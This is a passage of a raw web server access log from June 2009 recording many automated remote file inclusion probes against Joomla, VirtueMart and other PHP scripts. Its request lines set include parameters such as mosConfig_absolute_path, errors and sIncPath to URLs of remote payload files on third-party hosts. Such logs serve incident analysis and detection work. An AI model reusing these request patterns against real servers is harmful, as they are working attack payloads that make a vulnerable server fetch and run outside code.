/administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://aboutav.com//id1.txt??? HTTP/1.1" 302 837 "-" "Mozilla/5.0" 201.232.54.48 - - [13/Jun/2009:19:49:04 -0600] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://aboutav.com//id1.txt??? HTTP/1.1" 404 33867 "-" "Mozilla/5.0" 89.185.228.8 - - [13/Jun/2009:20:15:36 -0600] "GET /rfi.txt/errors.php?error=http://geocities.com/blade_tea/idmaira.txt????? HTTP/1.1" 404 521 "-" "libwww-perl/5.805" 89.185.228.8 - - [13/Jun/2009:20:15:36 -0600] "GET /errors.php?error=http://geocities.com/blade_tea/idmaira.txt????? HTTP/1.1" 302 775 "-" "libwww-perl/5.805" 89.185.228.8 - - [13/Jun/2009:20:15:37 -0600] "GET /errors.php?error=http://geocities.com/blade_tea/idmaira.txt????? HTTP/1.1" 404 33631 "-" "libwww-perl/5.805" 124.217.216.86 - - [13/Jun/2009:20:32:36 -0600] "GET /rfi.txt/index.php?errors=http://harvestusa.org///administrator//components/idi.txt??? HTTP/1.1" 404 534 "-" "libwww-perl/5.826" 124.217.216.86 - - [13/Jun/2009:20:32:36 -0600] "GET /index.php?errors=http://harvestusa.org///administrator//components/idi.txt??? HTTP/1.1" 302 759 "-" "libwww-perl/5.826" 124.217.216.86 - - [13/Jun/2009:20:32:37 -0600] "GET /?errors=http://harvestusa.org///administrator//components/idi.txt??? HTTP/1.1" 200 98901 "-" "libwww-perl/5.826" 124.217.216.86 - - [13/Jun/2009:20:32:39 -0600] "GET /index.php?errors=http://harvestusa.org///administrator//components/idi.txt??? HTTP/1.1" 302 759 "-" "libwww-perl/5.826" 124.217.216.86 - - [13/Jun/2009:20:32:40 -0600] "GET /?errors=http://harvestusa.org///administrator//components/idi.txt??? HTTP/1.1" 200 98923 "-" "libwww-perl/5.826" 124.217.216.86 - - [13/Jun/2009:20:32:42 -0600] "GET /rfi.txt/index.php?errors=http://harvestusa.org///administrator//components/idi.txt??? HTTP/1.1" 404 534 "-" "libwww-perl/5.826" 124.217.216.86 - - [13/Jun/2009:20:32:42 -0600] "GET /index.php?errors=http://harvestusa.org///administrator//components/idi.txt??? HTTP/1.1" 302 759 "-" "libwww-perl/5.826" 124.217.216.86 - - [13/Jun/2009:20:32:43 -0600] "GET /?errors=http://harvestusa.org///administrator//components/idi.txt??? HTTP/1.1" 200 98861 "-" "libwww-perl/5.826" 124.217.216.86 - - [13/Jun/2009:20:32:44 -0600] "GET /index.php?errors=http://harvestusa.org///administrator//components/nu.txt?? HTTP/1.1" 302 757 "-" "libwww-perl/5.826" 124.217.216.86 - - [13/Jun/2009:20:32:45 -0600] "GET /index.php?errors=http://harvestusa.org///administrator//components/idi.txt??? HTTP/1.1" 302 759 "-" "libwww-perl/5.826" 124.217.216.86 - - [13/Jun/2009:20:32:45 -0600] "GET /?errors=http://harvestusa.org///administrator//components/nu.txt?? HTTP/1.1" 200 98861 "-" "libwww-perl/5.826" 124.217.216.86 - - [13/Jun/2009:20:32:46 -0600] "GET /?errors=http://harvestusa.org///administrator//components/idi.txt??? HTTP/1.1" 200 98899 "-" "libwww-perl/5.826" 124.217.216.86 - - [13/Jun/2009:20:32:50 -0600] "GET /index.php?errors=http://harvestusa.org///administrator//components/nu.txt?? HTTP/1.1" 302 757 "-" "libwww-perl/5.826" 124.217.216.86 - - [13/Jun/2009:20:32:51 -0600] "GET /?errors=http://harvestusa.org///administrator//components/nu.txt?? HTTP/1.1" 200 98888 "-" "libwww-perl/5.826" 125.167.56.11 - - [13/Jun/2009:20:33:04 -0600] "GET /index.php?errors=http://harvestusa.org///administrator//components/jek.txt?? HTTP/1.1" 302 795 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11" 125.167.56.11 - - [13/Jun/2009:20:33:06 -0600] "GET /?errors=http://harvestusa.org///administrator//components/jek.txt?? HTTP/1.1" 200 98880 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11" 77.221.130.17 - - [14/Jun/2009:10:04:43 -0600] "GET /rfi.txt/?sIncPath=http://omit.ru/yandex_628dc1f3167e2080.txt?? HTTP/1.1" 404 511 "-" "Mozilla/5.0" 77.221.130.17 - - [14/Jun/2009:10:04:43 -0600] "GET /?sIncPath=http://omit.ru/yandex_628dc1f3167e2080.txt?? HTTP/1.1" 302 745 "-" "Mozilla/5.0" 77.221.130.17 - - [14/Jun/2009:10:04:44 -0600] "GET /?sIncPath=http://omit.ru/yandex_628dc1f3167e2080.txt?? HTTP/1.1" 200 98476 "-" "Mozilla/5.0" 200.105.207.244 - - [14/Jun/2009:10:14:15 -0600] "GET /rfi.txt/errors.php?error=http://cahaya123.wen.ru/id1.txt??? HTTP/1.1" 404 508 "-" "Mozilla/5.0" 200.105.207.244 - - [14/Jun/2009:10:14:15 -0600] "GET /errors.php?error=http://cahaya123.wen.ru/id1.txt??? HTTP/1.1" 302 762 "-" "Mozilla/5.0" 200.105.207.244 - - [14/Jun/2009:10:14:17 -0600] "GET /errors.php?error=http://cahaya123.wen.ru/id1.txt??? HTTP/1.1" 404 33561 "-" "Mozilla/5.0" 213.189.2.38 - - [14/Jun/2009:10:17:47 -0600] "GET /rfi.txt/?sIncPath=http://www.dits.com.cn/components/com_virtuemart/id1.txt?? HTTP/1.1" 404 525 "-" "Mozilla/5.0" 213.189.2.38 - - [14/Jun/2009:10:17:50 -0600] "GET /?sIncPath=http://www.dits.com.cn/components/com_virtuemart/id1.txt?? HTTP/1.1" 302 759 "-" "Mozilla/5.0" 213.189.2.38 - - [14/Jun/2009:10:17:52 -0600] "GET /?sIncPath=http://www.dits.com.cn/components/com_virtuemart/id1.txt?? HTTP/1.1" 200 99124 "-" "Mozilla/5.0" 213.189.2.38 - - [14/Jun/2009:10:17:56 -0600] "GET /rfi.txt/?sIncPath=http://www.dits.com.cn/components/com_virtuemart/id1.txt?? HTTP/1.1" 404 525 "-" "Mozilla/5.0" 213.189.2.38 - - [14/Jun/2009:10:17:56 -0600] "GET /?sIncPath=http://www.dits.com.cn/components/com_virtuemart/id1.txt?? HTTP/1.1" 302 759 "-" "Mozilla/5.0" 213.189.2.38 - - [14/Jun/2009:10:17:57 -0600] "GET /?sIncPath=http://www.dits.com.cn/components/com_virtuemart/id1.txt?? HTTP/1.1" 200 99113 "-" "Mozilla/5.0" 77.221.130.17 - - [14/Jun/2009:10:53:02 -0600] "GET /rfi.txt////appserv/errors.php?error=http://omit.ru/yandex_628dc1f3167e2080.txt?? HTTP/1.1" 404 529 "-" "Mozilla/5.0" 77.221.130.17 - - [14/Jun/2009:10:53:02 -0600] "GET ////appserv/errors.php?error=http://omit.ru/yandex_628dc1f3167e2080.txt?? HTTP/1.1" 302 783 "-" "Mozilla/5.0" 77.221.130.17 - - [14/Jun/2009:10:53:03 -0600] "GET ////appserv/errors.php?error=http://omit.ru/yandex_628dc1f3167e2080.txt?? HTTP/1.1" 404 33630 "-" "Mozilla/5.0" 87.230.22.39 - - [14/Jun/2009:11:54:52 -0600] "GET /rfi.txt//main.php?sayfa=http://kotz.org/images/extras/id.txt??? HTTP/1.1" 404 512 "-" "Mozilla/5.0" 87.230.22.39 - - [14/Jun/2009:11:54:52 -0600] "GET //main.php?sayfa=http://kotz.org/images/extras/id.txt??? HTTP/1.1" 302 766 "-" "Mozilla/5.0" 87.230.22.39 - - [14/Jun/2009:11:54:53 -0600] "GET //main.php?sayfa=http://kotz.org/images/extras/id.txt??? HTTP/1.1" 404 33586 "-" "Mozilla/5.0" 87.106.252.92 - - [14/Jun/2009:12:04:47 -0600] "GET //index2.php?mosConfig_absolute_path=http://208.98.22.241/id.txt??? HTTP/1.1" 302 777 "-" "libwww-perl/5.805" 87.106.252.92 - - [14/Jun/2009:12:04:48 -0600] "GET //index2.php?mosConfig_absolute_path=http://208.98.22.241/id.txt??? HTTP/1.1" 404 33617 "-" "libwww-perl/5.805" 190.144.44.36 - - [14/Jun/2009:12:05:36 -0600] "GET //index2.php?mosConfig_absolute_path=http://208.98.22.241/id.txt??? HTTP/1.1" 302 777 "-" "libwww-perl/5.79" 190.144.44.36 - - [14/Jun/2009:12:05:37 -0600] "GET //index2.php?mosConfig_absolute_path=http://208.98.22.241/id.txt??? HTTP/1.1" 404 33617 "-" "libwww-perl/5.79" 70.85.42.34 - - [14/Jun/2009:12:09:02 -0600] "GET /rfi.txt//modules/vwar/admin/admin.php?vwar_root=http://www.discotecamasia.com/videos/mediatemp/vid.txt?? HTTP/1.1" 404 553 "-" "libwww-perl/5.811" 70.85.42.34 - - [14/Jun/2009:12:09:02 -0600] "GET //modules/vwar/admin/admin.php?vwar_root=http://www.discotecamasia.com/videos/mediatemp/vid.txt?? HTTP/1.1" 302 807 "-" "libwww-perl/5.811" 70.85.42.34 - - [14/Jun/2009:12:09:03 -0600] "GET //modules/vwar/admin/admin.php?vwar_root=http://www.discotecamasia.com/videos/mediatemp/vid.txt?? HTTP/1.1" 404 33850 "-" "libwww-perl/5.811" 211.49.99.7 - - [14/Jun/2009:12:12:30 -0600] "GET //index2.php?mosConfig_absolute_path=http://invomedia.net/file/yes.txt??? HTTP/1.1" 302 783 "-" "libwww-perl/5.79" 211.49.99.7 - - [14/Jun/2009:12:12:32 -0600] "GET //index2.php?mosConfig_absolute_path=http://invomedia.net/file/yes.txt??? HTTP/1.1" 404 33647 "-" "libwww-perl/5.79" 87.106.252.92 - - [14/Jun/2009:12:20:49 -0600] "GET /rfi.txt//index2.php?mosConfig_absolute_path=http://208.98.22.241/id.txt??? HTTP/1.1" 404 523 "-" "libwww-perl/5.805" 190.144.44.36 - - [14/Jun/2009:12:23:44 -0600] "GET /rfi.txt//index2.php?mosConfig_absolute_path=http://208.98.22.241/id.txt??? HTTP/1.1" 404 523 "-" "libwww-perl/5.79" 87.118.90.151 - - [14/Jun/2009:12:34:46 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://a222.altervista.org/id.txt? HTTP/1.1" 302 821 "-" "libwww-perl/5.805" 87.118.90.151 - - [14/Jun/2009:12:34:47 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://a222.altervista.org/id.txt? HTTP/1.1" 404 33782 "-" "libwww-perl/5.805" 211.49.99.7 - - [14/Jun/2009:12:56:31 -0600] "GET /rfi.txt//index2.php?mosConfig_absolute_path=http://invomedia.net/file/yes.txt??? HTTP/1.1" 404 529 "-" "libwww-perl/5.79" 77.240.235.130 - - [14/Jun/2009:13:22:35 -0600] "GET //index.php?option=com_dbquery&Itemid=&mosConfig_absolute_path=http://traipod.altervista.org/id.txt? HTTP/1.1" 302 780 "-" "libwww-perl/5.808" 77.240.235.130 - - [14/Jun/2009:13:22:36 -0600] "GET /?option=com_dbquery&Itemid=&mosConfig_absolute_path=http://traipod.altervista.org/id.txt? HTTP/1.1" 200 98561 "-" "libwww-perl/5.808" 121.124.127.164 - - [14/Jun/2009:16:22:52 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.startenglish.com.br/id1.txt?? HTTP/1.1" 404 574 "-" "Mozilla/5.0" 121.124.127.164 - - [14/Jun/2009:16:22:52 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.startenglish.com.br/id1.txt?? HTTP/1.1" 302 828 "-" "Mozilla/5.0" 121.124.127.164 - - [14/Jun/2009:16:22:54 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.startenglish.com.br/id1.txt?? HTTP/1.1" 404 33813 "-" "Mozilla/5.0" 190.144.44.36 - - [14/Jun/2009:16:24:49 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.cofeland.ru///administrator/components/com_virtuemart/id1.txt? HTTP/1.1" 404 607 "-" "Mozilla/5.0" 190.144.44.36 - - [14/Jun/2009:16:24:49 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.cofeland.ru///administrator/components/com_virtuemart/id1.txt? HTTP/1.1" 302 861 "-" "Mozilla/5.0" 190.144.44.36 - - [14/Jun/2009:16:24:50 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.cofeland.ru///administrator/components/com_virtuemart/id1.txt? HTTP/1.1" 404 33969 "-" "Mozilla/5.0" 200.105.207.244 - - [14/Jun/2009:16:34:12 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.cofeland.ru///administrator/components/com_virtuemart/id1.txt? HTTP/1.1" 404 607 "-" "Mozilla/5.0" 200.105.207.244 - - [14/Jun/2009:16:34:12 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.cofeland.ru///administrator/components/com_virtuemart/id1.txt? HTTP/1.1" 302 861 "-" "Mozilla/5.0" 200.105.207.244 - - [14/Jun/2009:16:34:15 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.cofeland.ru///administrator/components/com_virtuemart/id1.txt? HTTP/1.1" 404 33969 "-" "Mozilla/5.0" 211.239.150.144 - - [14/Jun/2009:16:43:21 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/header.php?mosConfig_absolute_path=http://buminch.org/bbs/copyright.txt??? HTTP/1.1" 404 573 "-" "Mozilla/5.0" 211.239.150.144 - - [14/Jun/2009:16:43:21 -0600] "GET ///administrator/components/com_virtuemart/header.php?mosConfig_absolute_path=http://buminch.org/bbs/copyright.txt??? HTTP/1.1" 302 827 "-" "Mozilla/5.0" 211.239.150.144 - - [14/Jun/2009:16:43:22 -0600] "GET ///administrator/components/com_virtuemart/header.php?mosConfig_absolute_path=http://buminch.org/bbs/copyright.txt??? HTTP/1.1" 404 33821 "-" "Mozilla/5.0" 210.112.121.225 - - [14/Jun/2009:18:50:16 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/product.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 580 "-" "Mozilla/5.0" 210.112.121.225 - - [14/Jun/2009:18:50:16 -0600] "GET ///administrator/components/com_virtuemart/product.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 834 "-" "Mozilla/5.0" 210.112.121.225 - - [14/Jun/2009:18:50:18 -0600] "GET ///administrator/components/com_virtuemart/product.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33849 "-" "Mozilla/5.0" 82.208.58.78 - - [14/Jun/2009:19:01:02 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.kq-china.com/web//plugins/system/id1.txt?? HTTP/1.1" 404 587 "-" "Mozilla/5.0" 82.208.58.78 - - [14/Jun/2009:19:01:02 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.kq-china.com/web//plugins/system/id1.txt?? HTTP/1.1" 302 841 "-" "Mozilla/5.0" 82.208.58.78 - - [14/Jun/2009:19:01:03 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.kq-china.com/web//plugins/system/id1.txt?? HTTP/1.1" 404 33888 "-" "Mozilla/5.0" 210.115.58.73 - - [14/Jun/2009:19:05:56 -0600] "GET /rfi.txt//errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 404 511 "-" "Mozilla/5.0" 210.115.58.73 - - [14/Jun/2009:19:05:56 -0600] "GET //errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 302 765 "-" "Mozilla/5.0" 210.115.58.73 - - [14/Jun/2009:19:05:57 -0600] "GET //errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 404 33563 "-" "Mozilla/5.0" 210.115.58.73 - - [14/Jun/2009:19:07:56 -0600] "GET /rfi.txt//errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 404 511 "-" "Mozilla/5.0" 210.115.58.73 - - [14/Jun/2009:19:07:56 -0600] "GET //errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 302 765 "-" "Mozilla/5.0" 210.115.58.73 - - [14/Jun/2009:19:07:57 -0600] "GET //errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 404 33563 "-" "Mozilla/5.0" 210.112.121.225 - - [14/Jun/2009:19:15:59 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/shop.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 577 "-" "Mozilla/5.0" 210.112.121.225 - - [14/Jun/2009:19:15:58 -0600] "GET ///administrator/components/com_virtuemart/shop.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 831 "-" "Mozilla/5.0" 210.112.121.225 - - [14/Jun/2009:19:15:59 -0600] "GET ///administrator/components/com_virtuemart/shop.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33837 "-" "Mozilla/5.0" 200.248.10.200 - - [14/Jun/2009:19:24:39 -0600] "GET /rfi.txt/errors/php?error=http://www.vivi-clothes.com/catalog/images/home/fid.txt?? HTTP/1.1" 404 531 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0" 200.248.10.200 - - [14/Jun/2009:19:24:39 -0600] "GET /errors/php?error=http://www.vivi-clothes.com/catalog/images/home/fid.txt?? HTTP/1.1" 302 785 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0" 200.248.10.200 - - [14/Jun/2009:19:24:39 -0600] "GET /rfi.txt%22%20%20target=%22_blank/errors/php?error=http://www.vivi-clothes.com/catalog/images/home/fid.txt?? HTTP/1.1" 302 818 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0" 200.248.10.200 - - [14/Jun/2009:19:24:42 -0600] "GET /rfi.txt%22%20%20target=%22_blank/errors/php?error=http://www.vivi-clothes.com/catalog/images/home/fid.txt?? HTTP/1.1" 404 33796 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0" 200.248.10.200 - - [14/Jun/2009:19:24:42 -0600] "GET /errors/php?error=http://www.vivi-clothes.com/catalog/images/home/fid.txt?? HTTP/1.1" 404 33664 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0" 75.145.152.113 - - [14/Jun/2009:20:10:14 -0600] "GET /rfi.txt//index.php?option=com_content&task=blogcategory&id=17&Itemid=52//index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://buminch.org/bbs/fx29id1.txt???? HTTP/1.1" 404 710 "-" "Mozilla/5.0" 75.145.152.113 - - [14/Jun/2009:20:10:14 -0600] "GET //index.php?option=com_content&task=blogcategory&id=17&Itemid=52//index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://buminch.org/bbs/fx29id1.txt???? HTTP/1.1" 302 905 "-" "Mozilla/5.0" 75.145.152.113 - - [14/Jun/2009:20:10:15 -0600] "GET /?option=com_content&task=blogcategory&id=17&Itemid=52//index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://buminch.org/bbs/fx29id1.txt???? HTTP/1.1" 200 99978 "-" "Mozilla/5.0" 190.144.44.36 - - [15/Jun/2009:10:23:20 -0600] "GET /rfi.txt/errors.php?error=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 404 511 "-" "Mozilla/5.0" 190.144.44.36 - - [15/Jun/2009:10:23:20 -0600] "GET /errors.php?error=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 302 765 "-" "Mozilla/5.0" 190.144.44.36 - - [15/Jun/2009:10:23:21 -0600] "GET /errors.php?error=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 404 33567 "-" "Mozilla/5.0" 190.144.44.36 - - [15/Jun/2009:10:29:05 -0600] "GET /rfi.txt/errors.php?error=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 404 511 "-" "Mozilla/5.0" 190.144.44.36 - - [15/Jun/2009:10:29:05 -0600] "GET /errors.php?error=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 302 765 "-" "Mozilla/5.0" 190.144.44.36 - - [15/Jun/2009:10:29:05 -0600] "GET /errors.php?error=http://ibmi.tempsite.ws/fx29id1.txt?? HTTP/1.1" 404 33567 "-" "Mozilla/5.0" 94.23.200.54 - - [15/Jun/2009:10:35:15 -0600] "GET /rfi.txt//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.therockcc.org/calendarevents/1.txt? HTTP/1.1" 404 579 "-" "Mozilla/5.0" 94.23.200.54 - - [15/Jun/2009:10:35:15 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.therockcc.org/calendarevents/1.txt? HTTP/1.1" 302 833 "-" "Mozilla/5.0" 94.23.200.54 - - [15/Jun/2009:10:35:16 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.therockcc.org/calendarevents/1.txt? HTTP/1.1" 404 33836 "-" "Mozilla/5.0" 94.23.200.54 - - [15/Jun/2009:10:48:44 -0600] "GET /rfi.txt//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.therockcc.org/calendarevents/1.txt? HTTP/1.1" 404 579 "-" "Mozilla/5.0" 94.23.200.54 - - [15/Jun/2009:10:48:44 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.therockcc.org/calendarevents/1.txt? HTTP/1.1" 302 833 "-" "Mozilla/5.0" 94.23.200.54 - - [15/Jun/2009:10:48:45 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.therockcc.org/calendarevents/1.txt? HTTP/1.1" 404 23168 "-" "Mozilla/5.0" 210.112.121.225 - - [15/Jun/2009:15:04:23 -0600] "GET /rfi.txt/errors.php?error=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 519 "-" "Mozilla/5.0" 210.112.121.225 - - [15/Jun/2009:15:04:23 -0600] "GET /errors.php?error=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 773 "-" "Mozilla/5.0" 210.112.121.225 - - [15/Jun/2009:15:04:25 -0600] "GET /errors.php?error=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33611 "-" "Mozilla/5.0" 210.112.121.225 - - [15/Jun/2009:15:04:37 -0600] "GET /rfi.txt/errors.php?error=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 519 "-" "Mozilla/5.0" 210.112.121.225 - - [15/Jun/2009:15:04:37 -0600] "GET /errors.php?error=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 773 "-" "Mozilla/5.0" 210.112.121.225 - - [15/Jun/2009:15:04:38 -0600] "GET /errors.php?error=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33611 "-" "Mozilla/5.0" 210.112.121.225 - - [15/Jun/2009:15:04:45 -0600] "GET /errors.php?error=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 773 "-" "Mozilla/5.0" 210.112.121.225 - - [15/Jun/2009:15:04:46 -0600] "GET /errors.php?error=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33610 "-" "Mozilla/5.0" 210.112.121.225 - - [15/Jun/2009:15:04:52 -0600] "GET /rfi.txt/errors.php?error=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 519 "-" "Mozilla/5.0" 210.112.121.225 - - [15/Jun/2009:15:04:52 -0600] "GET /errors.php?error=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 773 "-" "Mozilla/5.0" 210.112.121.225 - - [15/Jun/2009:15:04:54 -0600] "GET /errors.php?error=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33611 "-" "Mozilla/5.0" 210.112.121.225 - - [15/Jun/2009:15:05:07 -0600] "GET /rfi.txt/errors.php?error=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 519 "-" "Mozilla/5.0" 210.112.121.225 - - [15/Jun/2009:15:05:07 -0600] "GET /errors.php?error=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 773 "-" "Mozilla/5.0" 210.112.121.225 - - [15/Jun/2009:15:05:09 -0600] "GET /errors.php?error=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33610 "-" "Mozilla/5.0" 210.112.121.225 - - [15/Jun/2009:15:05:12 -0600] "GET /rfi.txt/errors.php?error=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 519 "-" "Mozilla/5.0" 77.221.130.17 - - [15/Jun/2009:15:37:06 -0600] "GET /rfi.txt//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://omit.ru/yandex_628dc1f3167e2080.txt?? HTTP/1.1" 404 577 "-" "Mozilla/5.0" 77.221.130.17 - - [15/Jun/2009:15:37:06 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://omit.ru/yandex_628dc1f3167e2080.txt?? HTTP/1.1" 302 831 "-" "Mozilla/5.0" 77.221.130.17 - - [15/Jun/2009:15:37:07 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://omit.ru/yandex_628dc1f3167e2080.txt?? HTTP/1.1" 404 33827 "-" "Mozilla/5.0" 211.189.18.73 - - [15/Jun/2009:16:53:07 -0600] "GET /rfi.txt//administrator/images/cancel.png?mosConfig_absolute_path=http://harvestusa.org///administrator//components/id1.txt??? HTTP/1.1" 404 574 "-" "Mozilla/5.0" 211.189.18.73 - - [15/Jun/2009:16:53:07 -0600] "GET //administrator/images/cancel.png?mosConfig_absolute_path=http://harvestusa.org///administrator//components/id1.txt??? HTTP/1.1" 302 828 "-" "Mozilla/5.0" 211.189.18.73 - - [15/Jun/2009:16:53:08 -0600] "GET //administrator/images/cancel.png?mosConfig_absolute_path=http://harvestusa.org///administrator//components/id1.txt??? HTTP/1.1" 404 33828 "-" "Mozilla/5.0" 218.27.203.107 - - [15/Jun/2009:17:02:33 -0600] "GET //components/com_smf/smf.php?mosConfig_absolute_path=http://designmono.com/zboard_bbs/id.txt???? HTTP/1.1" 302 806 "-" "libwww-perl/5.79" 218.27.203.107 - - [15/Jun/2009:17:02:35 -0600] "GET //components/com_smf/smf.php?mosConfig_absolute_path=http://designmono.com/zboard_bbs/id.txt???? HTTP/1.1" 404 33746 "-" "libwww-perl/5.79" 218.27.203.107 - - [15/Jun/2009:17:17:10 -0600] "GET /rfi.txt//components/com_smf/smf.php?mosConfig_absolute_path=http://designmono.com/zboard_bbs/id.txt???? HTTP/1.1" 404 552 "-" "libwww-perl/5.79" 204.203.92.2 - - [15/Jun/2009:18:02:42 -0600] "GET /rfi.txt///skin/zero_vote/ask_password.php?dir=http://www.kiralyfa.hu/copyright?? HTTP/1.1" 404 529 "-" "Mozilla/5.0" 204.203.92.2 - - [15/Jun/2009:18:02:42 -0600] "GET ///skin/zero_vote/ask_password.php?dir=http://www.kiralyfa.hu/copyright?? HTTP/1.1" 302 783 "-" "Mozilla/5.0" 204.203.92.2 - - [15/Jun/2009:18:02:42 -0600] "GET /rfi.txt///skin/zero_vote/ask_password.php?dir=http://www.kiralyfa.hu/copyright?? HTTP/1.1" 404 529 "-" "Mozilla/5.0" 204.203.92.2 - - [15/Jun/2009:18:02:42 -0600] "GET ///skin/zero_vote/ask_password.php?dir=http://www.kiralyfa.hu/copyright?? HTTP/1.1" 302 783 "-" "Mozilla/5.0" 204.203.92.2 - - [15/Jun/2009:18:02:43 -0600] "GET /rfi.txt///skin/zero_vote/ask_password.php?dir=http://www.kiralyfa.hu/copyright?? HTTP/1.1" 404 529 "-" "Mozilla/5.0" 204.203.92.2 - - [15/Jun/2009:18:02:43 -0600] "GET ///skin/zero_vote/ask_password.php?dir=http://www.kiralyfa.hu/copyright?? HTTP/1.1" 302 783 "-" "Mozilla/5.0" 204.203.92.2 - - [15/Jun/2009:18:02:43 -0600] "GET ///skin/zero_vote/ask_password.php?dir=http://www.kiralyfa.hu/copyright?? HTTP/1.1" 404 33633 "-" "Mozilla/5.0" 204.203.92.2 - - [15/Jun/2009:18:02:42 -0600] "GET ///skin/zero_vote/ask_password.php?dir=http://www.kiralyfa.hu/copyright?? HTTP/1.1" 404 33632 "-" "Mozilla/5.0" 204.203.92.2 - - [15/Jun/2009:18:02:44 -0600] "GET ///skin/zero_vote/ask_password.php?dir=http://www.kiralyfa.hu/copyright?? HTTP/1.1" 404 33633 "-" "Mozilla/5.0" 204.203.92.2 - - [15/Jun/2009:18:03:00 -0600] "GET /rfi.txt///skin/zero_vote/ask_password.php?dir=http://www.kiralyfa.hu/copyright?? HTTP/1.1" 404 529 "-" "Mozilla/5.0" 204.203.92.2 - - [15/Jun/2009:18:03:00 -0600] "GET 